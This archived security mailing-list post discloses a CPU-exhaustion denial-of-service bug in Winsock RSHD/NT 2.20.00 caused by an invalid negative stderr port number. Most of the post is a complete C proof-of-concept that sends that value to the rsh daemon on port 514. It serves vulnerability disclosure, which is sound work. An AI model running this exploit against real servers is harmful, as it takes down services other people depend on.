Winsock RSHD/NT 2.20.00 CPU overusage when invalid data is send

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 





Greetings,

Seems that Winsock RSHD/NT has a bug in handling
invalid port numbers of stderr stream. When rsh 
client connects to the daemon it sends port number 
to which daemon will send informational data (stderr).
When this port is invalid (a negative number for 
example) Winsock RSHD/NT attempts to connect to 
all ports below 1024 (even negative) and consumes a 
large of CPU time. This may lead to DoS attack, 
Vendor was informed but no measures were taken.

Below is simple demo:

/*
** WRSHDNT 2.20.00 CPU overusage demo
** jimmers@yandex.ru
*/

#define	HOST	"localhost"
#define	PORT	514

#include <stdio.h>
#include <winsock2.h>

int main(int argc, char * argv[]){
	SOCKET s;
	WSADATA WSAData;
	LPHOSTENT lpHostEnt;
	SOCKADDR_IN sockAddr;
	int res, on = 1;
	char *stderr_port = "-666";
	char *local_user  = "Administrator";
	char *remote_user = "root";
	char *cmd = "help";

	res = WSAStartup( MAKEWORD( 2, 2 ), 
&WSAData);
	if(res != 0){
		res = WSAGetLastError();
		printf("WSAStartup() failed, 
WSAGetLastError: %d\n", res);
		return 1;
	}
	
	lpHostEnt = gethostbyname(HOST);
	if(lpHostEnt == NULL){
		res = WSAGetLastError();
		printf("gethostbyname() failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}
	
	s = socket(AF_INET, SOCK_STREAM, 
IPPROTO_TCP);
	if(s == INVALID_SOCKET){
		res = WSAGetLastError();
		printf("socket() failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}

	sockAddr.sin_family	= AF_INET;
	sockAddr.sin_port	= htons(PORT);
	sockAddr.sin_addr	= *((LPIN_ADDR)
*lpHostEnt->h_addr_list);
	
	res = connect(s, (PSOCKADDR)
&sockAddr, sizeof(sockAddr));
	if(res != 0){
		res = WSAGetLastError();
		printf("connect() failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}

	Sleep(400);	
	res = send(s, stderr_port, strlen
(stderr_port)+1, 0);
	if(res == SOCKET_ERROR){
		res = WSAGetLastError();
		printf("send(stderr_port) failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}
	
	printf("send(stderr_port): %d\n", res);

	Sleep(400);	
	res = send(s, local_user, strlen(local_user)
+1, 0);
	if(res == SOCKET_ERROR){
		res = WSAGetLastError();
		printf("send(local_user) failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}
	printf("send(local_user): %d\n", res);


	Sleep(400);	
	res = send(s, remote_user, strlen
(remote_user)+1, 0);
	if(res == SOCKET_ERROR){
		res = WSAGetLastError();
		printf("send(remote_user) failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}
	printf("send(remote_user): %d\n", res);


	Sleep(400);	
	res = send(s, cmd, strlen(cmd)+1, 0);
	if(res == SOCKET_ERROR){
		res = WSAGetLastError();
		printf("send(cmd) failed, 
WSAGetLastError: %d\n", res);
		WSACleanup();
		return 1;
	}
	printf("send(cmd): %d\n", res);

	WSACleanup();
	return 0;
}


[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux